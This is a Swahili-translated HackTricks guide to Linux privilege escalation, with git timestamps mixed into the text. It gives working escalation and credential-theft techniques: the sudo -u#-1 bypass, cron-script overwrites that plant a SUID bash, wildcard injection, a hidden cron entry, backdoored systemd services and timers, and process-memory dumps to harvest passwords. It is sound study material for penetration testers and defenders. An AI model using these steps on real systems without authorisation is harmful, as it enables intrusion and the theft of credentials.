hacktricks/linux-hardening/privilege-escalation/README.md

1448 lines
72 KiB
Markdown
Raw Normal View History

# Kupandisha Mamlaka kwa Linux
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2023-12-30 20:49:49 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Taarifa za Mfumo
2022-05-01 16:57:45 +00:00
2024-02-11 02:13:58 +00:00
### Taarifa za OS
2020-08-21 14:40:36 +00:00
Hebu tuanze kupata baadhi ya maarifa ya OS inayoendesha
2020-08-21 14:40:36 +00:00
```bash
(cat /proc/version || uname -a ) 2>/dev/null
2022-03-23 18:26:15 +00:00
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
2020-08-21 14:40:36 +00:00
```
2024-02-11 02:13:58 +00:00
### Njia
2020-08-21 14:40:36 +00:00
Ikiwa **una ruhusa ya kuandika kwenye folda yoyote ndani ya kipengee cha `PATH`** unaweza kuweza kuchukua baadhi ya maktaba au programu za binary:
2020-08-21 14:40:36 +00:00
```bash
echo $PATH
```
2024-02-11 02:13:58 +00:00
### Taarifa za Mazingira
2020-08-21 14:40:36 +00:00
Je, kuna taarifa za kuvutia, nywila au funguo za API katika mazingira ya mazingira?
2020-08-21 14:40:36 +00:00
```bash
(env || set) 2>/dev/null
```
### Mbinu za Kernal
2020-08-21 14:40:36 +00:00
Angalia toleo la kernal na kama kuna mbinu ya kutumia ili kuongeza mamlaka.
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
Unaweza kupata orodha nzuri ya kernel zenye mapungufu na baadhi ya **mashambulizi yaliyoundwa tayari** hapa: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) na [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Mitandao mingine ambapo unaweza kupata baadhi ya **mashambulizi yaliyoundwa tayari**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Kuchambua toleo zote za kernel zenye mapungufu kutoka kwenye wavuti hiyo unaweza kufanya:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
Vyombo vinavyoweza kusaidia kutafuta udhaifu wa kernel ni:
2021-10-10 21:09:04 +00:00
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (itekelezwe NDANI ya mhanga, huchunguza tu udhaifu kwa kernel 2.x)
Daima **tafuta toleo la kernel kwenye Google**, labda toleo lako la kernel limeandikwa kwenye baadhi ya udhaifu wa kernel na kisha utahakikisha kuwa udhaifu huu ni halali.
2022-05-01 16:57:45 +00:00
### CVE-2016-5195 (DirtyCow)
2020-08-20 11:59:57 +00:00
Udhibiti wa Mamlaka wa Linux - Kernel ya Linux <= 3.19.0-73.8
2020-08-20 11:59:57 +00:00
```bash
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo version
2020-08-20 11:59:57 +00:00
Kulingana na toleo za sudo zilizo na mapungufu ambazo zinaonekana katika:
```bash
searchsploit sudo
```
Unaweza kuangalia kama toleo la sudo lina kasoro kwa kutumia grep hii.
```bash
2020-08-19 12:27:05 +00:00
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
#### sudo < v1.28
2021-04-05 21:06:14 +00:00
2024-02-11 02:13:58 +00:00
Kutoka kwa @sickrov
2021-10-10 21:09:04 +00:00
```
2021-04-05 21:06:14 +00:00
sudo -u#-1 /bin/bash
```
### Uthibitisho wa saini ya Dmesg umeshindwa
2021-04-05 21:06:14 +00:00
Angalia **sanduku la smasher2 la HTB** kwa **mfano** wa jinsi hii udhaifu unaweza kutumiwa
2020-08-21 14:40:36 +00:00
```bash
dmesg 2>/dev/null | grep "signature"
```
2024-02-11 02:13:58 +00:00
### Uchunguzi zaidi wa mfumo
2020-08-21 14:40:36 +00:00
```bash
2020-08-24 16:34:42 +00:00
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
2020-08-21 14:40:36 +00:00
```
## Pambanua ulinzi unaowezekana
2020-08-21 14:40:36 +00:00
2022-05-01 13:25:53 +00:00
### AppArmor
2020-08-21 14:40:36 +00:00
```bash
if [ `which aa-status 2>/dev/null` ]; then
2024-02-11 02:13:58 +00:00
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
2020-08-21 14:40:36 +00:00
fi
```
2022-05-01 13:25:53 +00:00
### Grsecurity
2020-08-21 14:40:36 +00:00
Grsecurity ni mchanganyiko wa patches za kernel ambazo zinalenga kuboresha usalama wa mfumo wa Linux. Patches hizi zinajumuisha vipengele vya kuzuia upenyezaji wa mizizi na kudhibiti ufikiaji wa faili. Kwa kufanya hivyo, Grsecurity inaweza kusaidia kuzuia mbinu za kupandisha viwango vya mamlaka kwenye mfumo wa Linux.
2020-08-21 14:40:36 +00:00
```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
```
2022-05-01 13:25:53 +00:00
### PaX
2020-08-21 14:40:36 +00:00
```bash
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
```
2022-05-01 13:25:53 +00:00
### Execshield
2020-08-21 14:40:36 +00:00
### Kizuizi cha Utekelezaji
2020-08-21 14:40:36 +00:00
```bash
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
```
2022-05-01 13:25:53 +00:00
### SElinux
2020-08-21 14:40:36 +00:00
### SElinux
2024-02-11 02:13:58 +00:00
### SElinux
2020-08-21 14:40:36 +00:00
```bash
2024-02-11 02:13:58 +00:00
(sestatus 2>/dev/null || echo "Not found sestatus")
2020-08-21 14:40:36 +00:00
```
2022-05-01 13:25:53 +00:00
### ASLR
2020-08-21 14:40:36 +00:00
ASLR (Address Space Layout Randomization) ni mbinu inayotumiwa katika ulinzi wa usalama wa mfumo wa uendeshaji ambayo hufanya iwe ngumu kwa wadukuzi kutabiri mahali ya sehemu muhimu za kumbukumbu.
2020-08-21 14:40:36 +00:00
```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
2020-08-21 14:52:25 +00:00
#If 0, not enabled
2020-08-21 14:40:36 +00:00
```
## Kuvunja Docker
2020-08-21 14:40:36 +00:00
Ikiwa uko ndani ya kontena ya docker unaweza kujaribu kutoroka kutoka humo:
2021-01-04 12:33:29 +00:00
{% content-ref url="docker-security/" %}
[docker-security](docker-security/)
2021-10-10 21:09:04 +00:00
{% endcontent-ref %}
2021-01-04 12:33:29 +00:00
2024-02-11 02:13:58 +00:00
## Madereva
2020-08-21 14:52:25 +00:00
Angalia **nini kimeunganishwa na kimefungwa**, wapi na kwa nini. Ikiwa kuna kitu kilichofungwa unaweza kujaribu kuunganisha na kuangalia taarifa za siri.
2020-08-21 14:52:25 +00:00
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
2020-08-24 16:38:31 +00:00
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
2020-08-21 14:52:25 +00:00
```
## Programu za Kufaa
2020-08-21 14:52:25 +00:00
Panga programu muhimu
2020-08-21 14:52:25 +00:00
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
2020-08-21 14:52:25 +00:00
```
Pia, angalia ikiwa **compiler yoyote imefungwa**. Hii ni muhimu ikiwa unahitaji kutumia baadhi ya mbinu za kernel kama inavyopendekezwa kuzikusanya kwenye mashine ambayo utaitumia (au kwenye moja kama hiyo)
2020-08-21 14:52:25 +00:00
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### Programu Zenye Madoa Zilizosakinishwa
2020-08-21 14:52:25 +00:00
Angalia **toleo la pakiti na huduma zilizosakinishwa**. Labda kuna toleo la zamani la Nagios (kwa mfano) ambalo linaweza kutumika kwa kufanya madoa ya mamlaka...\
Inapendekezwa kuangalia kwa mkono toleo la programu iliyosakinishwa inayoonekana kuwa ya shaka zaidi.
```bash
dpkg -l #Debian
rpm -qa #Centos
```
Ikiwa una ufikiaji wa SSH kwenye mashine unaweza pia kutumia **openVAS** kuchunguza programu iliyopitwa na wakati na inayoweza kudhuriwa iliyosakinishwa kwenye mashine.
2020-08-21 14:52:25 +00:00
{% hint style="info" %}
_Taarifa kwamba amri hizi zitaonyesha habari nyingi ambazo kwa kiasi kikubwa hazitakuwa na maana, kwa hivyo inapendekezwa kutumia programu kama OpenVAS au sawa nayo itakayochunguza ikiwa toleo lolote la programu iliyosakinishwa linaweza kudhuriwa na mashambulizi yanayojulikana_
2020-08-21 14:52:25 +00:00
{% endhint %}
2024-02-11 02:13:58 +00:00
## Mchakato
Angalia **mchakato gani** unatekelezwa na uchunguze ikiwa mchakato wowote una **mamlaka zaidi kuliko inavyopaswa** (labda tomcat inatekelezwa na root?)
```bash
2020-08-22 09:45:50 +00:00
ps aux
ps -ef
top -n 1
```
Hakikisha kila wakati kuna [**wadukuzi wa electron/cef/chromium** wanaofanya kazi, unaweza kuitumia kwa kujiongezea mamlaka](electron-cef-chromium-debugger-abuse.md). **Linpeas** huchunguza hivyo kwa kuangalia parameter ya `--inspect` ndani ya mstari wa amri ya mchakato.
Pia **angalia mamlaka yako juu ya binaries za michakato**, labda unaweza kubadilisha faili ya mtu mwingine.
### Ufuatiliaji wa Mchakato
Unaweza kutumia zana kama [**pspy**](https://github.com/DominicBreuker/pspy) kufuatilia michakato. Hii inaweza kuwa muhimu sana kwa kutambua michakato inayoweza kuwa na mapungufu inayotekelezwa mara kwa mara au wakati seti ya mahitaji inakidhiwa.
### Kumbukumbu ya Mchakato
Baadhi ya huduma za seva hifadhi **vitambulisho kwa maandishi wazi ndani ya kumbukumbu**.
Kawaida utahitaji **mamlaka ya mzizi** kusoma kumbukumbu ya michakato inayomilikiwa na watumiaji wengine, kwa hivyo hii kawaida ni muhimu zaidi wakati tayari umepata mamlaka ya mzizi na unataka kugundua vitambulisho zaidi.
2024-02-11 02:13:58 +00:00
Hata hivyo, kumbuka kwamba **kama mtumiaji wa kawaida unaweza kusoma kumbukumbu ya michakato unayomiliki**.
2020-08-25 16:34:56 +00:00
2021-11-04 00:33:15 +00:00
{% hint style="warning" %}
Tambua kwamba siku hizi **mashine nyingi haziruhusu ptrace kwa chaguo-msingi** ambayo inamaanisha huwezi kudump michakato mingine inayomilikiwa na mtumiaji wako asiye na mamlaka.
2021-11-04 00:33:15 +00:00
2024-02-11 02:13:58 +00:00
Faili _**/proc/sys/kernel/yama/ptrace\_scope**_ inadhibiti upatikanaji wa ptrace:
2021-11-04 00:33:15 +00:00
* **kernel.yama.ptrace\_scope = 0**: michakato yote inaweza kufuatiliwa, ikiwa tu zina uid sawa. Hii ndiyo njia ya kawaida ya ptracing ilivyofanya kazi.
* **kernel.yama.ptrace\_scope = 1**: mchakato wa mzazi pekee unaweza kufuatiliwa.
* **kernel.yama.ptrace\_scope = 2**: Msimamizi pekee anaweza kutumia ptrace, kwani inahitaji uwezo wa CAP\_SYS\_PTRACE.
* **kernel.yama.ptrace\_scope = 3**: Hakuna michakato inayoweza kufuatiliwa na ptrace. Mara baada ya kuweka, ni lazima kuzima upya ili kuwezesha kufuatilia tena.
2021-11-04 00:33:15 +00:00
{% endhint %}
2022-05-01 16:57:45 +00:00
#### GDB
2020-08-25 16:34:56 +00:00
Ikiwa una ufikiaji wa kumbukumbu ya huduma ya FTP (kwa mfano) unaweza kupata Heap na kutafuta ndani ya vitambulisho vyake.
2020-08-22 09:45:50 +00:00
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
```
2024-02-11 02:13:58 +00:00
#### Skripti ya GDB
2021-01-03 11:59:52 +00:00
{% code title="dump-memory.sh" %}
```bash
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
2024-02-11 02:13:58 +00:00
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
2021-01-03 11:59:52 +00:00
done
```
{% endcode %}
2022-05-01 16:57:45 +00:00
#### /proc/$pid/maps & /proc/$pid/mem
Kwa kitambulisho cha mchakato kilichopewa, **ramani inaonyesha jinsi kumbukumbu inavyoainishwa ndani ya nafasi ya anwani ya kielelezo cha mchakato huo**; pia inaonyesha **ruhusa za kila eneo lililoainishwa**. Faili ya uongo **mem** ina **kumbukumbu yenyewe ya mchakato**. Kutoka kwa faili za **ramani** tunajua ni **eneo gani la kumbukumbu linaloweza kusomwa** na mapinduzi yao. Tunatumia habari hii kutafuta faili ya mem na kudondosha maeneo yanayoweza kusomwa yote kwenye faili.
2020-08-25 16:34:56 +00:00
```bash
procdump()
(
2024-02-11 02:13:58 +00:00
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
2020-08-25 16:34:56 +00:00
)
```
2022-05-01 16:57:45 +00:00
#### /dev/mem
2020-08-24 16:41:51 +00:00
`/dev/mem` hutoa ufikiaji kwa **kumbukumbu ya kimwili** ya mfumo, siyo kumbukumbu ya kawaida. Nafasi ya anwani za kumbukumbu ya kawaida ya kernel inaweza kupatikana kwa kutumia /dev/kmem. Kwa kawaida, `/dev/mem` inaweza kusomwa tu na mtumiaji wa **root** na kikundi cha **kmem**.
2021-10-10 21:09:04 +00:00
```
2020-08-22 09:45:50 +00:00
strings /dev/mem -n10 | grep -i PASS
```
2024-02-11 02:13:58 +00:00
### ProcDump kwa linux
2020-08-22 09:45:50 +00:00
ProcDump ni kielelezo cha Linux cha zana ya kawaida ya ProcDump kutoka kwa seti ya zana za Sysinternals kwa Windows. Pata katika [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
2021-11-04 00:33:15 +00:00
```
2024-02-11 02:13:58 +00:00
procdump -p 1714
2021-11-04 00:33:15 +00:00
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
```
2024-02-11 02:13:58 +00:00
### Vifaa
2021-11-04 00:33:15 +00:00
Kudumpisha kumbukumbu ya mchakato unaweza kutumia:
2020-08-25 16:34:56 +00:00
2022-04-05 22:24:52 +00:00
* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
2024-02-11 02:13:58 +00:00
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Unaweza kuondoa mahitaji ya root kwa mkono na kudumpisha mchakato unaomilikiwa na wewe
* Skripti A.5 kutoka [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root inahitajika)
2020-08-25 16:34:56 +00:00
### Sifa kutoka Kumbukumbu ya Mchakato
2020-08-25 16:34:56 +00:00
#### Mfano wa Kibinafsi
2021-01-03 11:59:52 +00:00
Ukipata kwamba mchakato wa kuthibitisha unafanya kazi:
2021-01-03 11:59:52 +00:00
```bash
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
Unaweza kudondosha mchakato (angalia sehemu zilizotangulia kupata njia tofauti za kudondosha kumbukumbu ya mchakato) na kutafuta sifa ndani ya kumbukumbu:
2021-01-03 11:59:52 +00:00
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```
2022-05-01 16:57:45 +00:00
#### mimipenguin
2021-01-03 11:59:52 +00:00
Chombo [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **itakuiba vibali vya maandishi wazi kutoka kumbukumbu** na kutoka kwa **faili fulani maarufu**. Inahitaji mamlaka ya mzizi kufanya kazi vizuri.
2020-08-25 16:34:56 +00:00
| Kipengele | Jina la Mchakato |
2021-10-10 21:09:04 +00:00
| ------------------------------------------------- | -------------------- |
2024-02-11 02:13:58 +00:00
| Nywila ya GDM (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Mawasiliano ya FTP ya Moja kwa Moja) | vsftpd |
| Apache2 (Vikao vya Uthibitishaji wa Msingi wa HTTP) | apache2 |
| OpenSSH (Vikao vya SSH vya Moja kwa Moja - Matumizi ya Sudo) | sshd: |
2022-10-05 17:13:04 +00:00
2024-02-11 02:13:58 +00:00
#### Tafuta Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
2022-10-05 17:13:04 +00:00
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```
## Kazi za Kipangilio/Cron
2022-10-05 17:13:04 +00:00
Angalia kama kuna kazi iliyopangwa ambayo ina mapungufu. Labda unaweza kutumia script inayotekelezwa na root (vuln ya wildcard? unaweza kuhariri faili ambazo root anatumia? tumia viungo vya alama? tengeneza faili maalum kwenye saraka ambayo root anatumia?).
2020-08-22 09:45:50 +00:00
```bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```
2024-02-11 02:13:58 +00:00
### Njia ya Cron
2020-08-22 09:45:50 +00:00
2024-02-11 02:13:58 +00:00
Kwa mfano, ndani ya _/etc/crontab_ unaweza kupata PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
2020-08-22 09:45:50 +00:00
(_Angalia jinsi mtumiaji "user" ana ruhusa za kuandika kwenye /home/user_)
2020-08-22 09:45:50 +00:00
Ikiwa ndani ya crontab hii mtumiaji wa root anajaribu kutekeleza amri au script bila kuweka njia. Kwa mfano: _\* \* \* \* root overwrite.sh_\
Kisha, unaweza kupata shell ya root kwa kutumia:
2020-08-22 09:45:50 +00:00
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
2024-02-11 02:13:58 +00:00
### Cron kutumia script na wildcard (Wildcard Injection)
2020-08-22 09:45:50 +00:00
Ikiwa script inatekelezwa na root ina "**\***" ndani ya amri, unaweza kutumia hii kufanya mambo yasiyotarajiwa (kama privesc). Mfano:
2020-08-22 09:45:50 +00:00
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Ikiwa kichwa cha mshale kinafuatiwa na njia kama** _**/baadhi/ya/njia/\***_ **, sio dhaifu (hata** _**./\***_ **sio).**
2020-08-22 09:45:50 +00:00
Soma ukurasa ufuatao kwa mbinu zaidi za kutumia mshale:
2020-08-22 09:45:50 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="wildcards-spare-tricks.md" %}
[wildcards-spare-tricks.md](wildcards-spare-tricks.md)
{% endcontent-ref %}
2020-08-22 09:45:50 +00:00
### Kuandika upya skripti ya Cron na symlink
2020-08-22 09:45:50 +00:00
Ikiwa **unaweza kuhariri skripti ya cron** inayotekelezwa na root, unaweza kupata kabisa shell:
2020-08-22 09:45:50 +00:00
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```
Ikiwa script inayotekelezwa na root inatumia **directory ambapo una ufikiaji kamili**, labda inaweza kuwa na manufaa kufuta folda hiyo na **kuunda kiungo cha folda kwenda nyingine** inayohudumia script inayodhibitiwa na wewe
2020-08-22 09:45:50 +00:00
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
2024-02-11 02:13:58 +00:00
### Kazi za cron mara kwa mara
2020-08-22 09:45:50 +00:00
Unaweza kufuatilia michakato ili kutafuta michakato inayoendeshwa kila baada ya dakika 1, 2 au 5. Labda unaweza kunufaika nayo na kuboresha mamlaka.
2020-08-22 09:45:50 +00:00
Kwa mfano, kufuatilia kila baada ya **0.1s kwa dakika 1**, **panga kwa amri zilizoendeshwa kidogo** na futa amri zilizoendeshwa zaidi, unaweza kufanya:
2020-08-22 09:45:50 +00:00
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**Unaweza pia kutumia** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (hii itachunguza na kuorodhesha kila mchakato unaanza).
2020-08-22 09:45:50 +00:00
### Majukumu ya cron yasiyoonekana
2020-10-18 11:15:59 +00:00
Inawezekana kuunda jukumu la cron **kwa kuweka kurudi kwenye mstari baada ya maoni** (bila herufi ya mstari mpya), na jukumu la cron litafanya kazi. Mfano (zingatia herufi ya kurudi kwenye mstari):
2020-10-18 11:15:59 +00:00
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
2024-02-11 02:13:58 +00:00
## Huduma
2020-10-18 11:15:59 +00:00
### Faili za _.service_ zinazoweza Kuandikwa
Angalia kama unaweza kuandika faili yoyote ya `.service`, ikiwa unaweza, unaweza **kuibadilisha** ili **itekeleze** mlango wako wa nyuma wakati huduma inapoanza, inapoanzishwa upya au inaposimamishwa (labda utahitaji kusubiri hadi mashine ibadilishwe).\
Kwa mfano, unda mlango wako wa nyuma ndani ya faili ya .service na **`ExecStart=/tmp/script.sh`**
### Binaries za Huduma Zinazoweza Kuandikwa
Kumbuka kwamba ikiwa una **ruhusa ya kuandika juu ya binaries zinazotekelezwa na huduma**, unaweza kuzibadilisha kuwa milango ya nyuma ili wakati huduma zinapotekelezwa tena, milango ya nyuma itatekelezwa.
### systemd PATH - Njia za Kihesabu
Unaweza kuona NJIA inayotumiwa na **systemd** kwa:
```bash
systemctl show-environment
```
Ikiwa utagundua kwamba unaweza **kuandika** katika mojawapo ya folda za njia, huenda ukaweza **kuinua mamlaka**. Unahitaji kutafuta **njia za kihusishi zinazotumiwa kwenye faili za mipangilio ya huduma** kama:
```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Kisha, tengeneza **faili inayoweza kutekelezwa** yenye **jina sawa na njia ya kibaiolojia ya faili** ndani ya folda ya PATH ya systemd unayoweza kuandika, na wakati huduma inapoombwa kutekeleza hatua ya hatari (**Anza**, **Acha**, **Pakia tena**), **backdoor yako itatekelezwa** (watumiaji wasio na ruhusa kawaida hawawezi kuanza/kuacha huduma lakini angalia ikiwa unaweza kutumia `sudo -l`).
2024-02-11 02:13:58 +00:00
**Jifunze zaidi kuhusu huduma kwa kutumia `man systemd.service`.**
## **Majira**
**Majira** ni faili za kitengo za systemd ambazo jina lake linamalizika kwa `**.timer**` ambazo huendesha faili au matukio ya `**.service**`. **Majira** yanaweza kutumika kama mbadala wa cron kwani wana msaada wa kujengwa kwa matukio ya wakati wa kalenda na matukio ya wakati wa monotonic na wanaweza kukimbia kwa njia isiyo ya kusubiri.
Unaweza kuchambua majira yote kwa:
```bash
systemctl list-timers --all
```
2024-02-11 02:13:58 +00:00
### Timers zinazoweza kuandikwa
Ikiwa unaweza kuhariri timer unaweza kufanya iendelee kutekeleza baadhi ya vitengo vya systemd (kama vile `.service` au `.target`) zilizopo.
```bash
Unit=backdoor.service
```
Katika hati ya maelezo unaweza kusoma ni nini Kitengo:
> Kitengo cha kuamsha wakati huu wa kengele unapopita. Hoja ni jina la kitengo, ambalo sifuri yake sio ".timer". Ikiwa haijatajwa, thamani hii inabadilika kiotomatiki kuwa huduma ambayo ina jina sawa na kitengo cha timer, isipokuwa kwa sifuri. (Tazama hapo juu.) Inapendekezwa kwamba jina la kitengo kinachoamilishwa na jina la kitengo cha timer viitwe kwa jina moja, isipokuwa kwa sifuri.
2024-02-11 02:13:58 +00:00
Kwa hivyo, ili kutumia ruhusa hii unahitaji:
* Kupata kitengo cha systemd (kama `.service`) ambacho kina **utekelezaji wa binary inayoweza kuandikwa**
* Kupata kitengo cha systemd ambacho kina **utekelezaji wa njia ya kihesabu** na una **ruhusa za kuandika** juu ya **NJIA ya systemd** (kujifanya kuwa utekelezaji huo)
**Jifunze zaidi kuhusu muda na `man systemd.timer`.**
2024-02-11 02:13:58 +00:00
### **Kuwezesha Timer**
Kuwezesha timer unahitaji ruhusa za mzizi na kutekeleza:
```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```
Tafadhali kumbuka **timer** ina **anzishwa** kwa kuunda symlink kwake kwenye `/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`
2022-05-01 13:25:53 +00:00
## Sockets
Unix Domain Sockets (UDS) huwezesha **mawasiliano ya mchakato** kwenye mashine sawa au tofauti ndani ya mifano ya mteja-seva. Hutumia faili za maelezo za Unix za kawaida kwa mawasiliano kati ya kompyuta na huanzishwa kupitia faili za `.socket`.
Sockets zinaweza kusanidiwa kwa kutumia faili za `.socket`.
**Jifunze zaidi kuhusu sockets na `man systemd.socket`.** Ndani ya faili hii, vigezo kadhaa vya kuvutia vinaweza kusanidiwa:
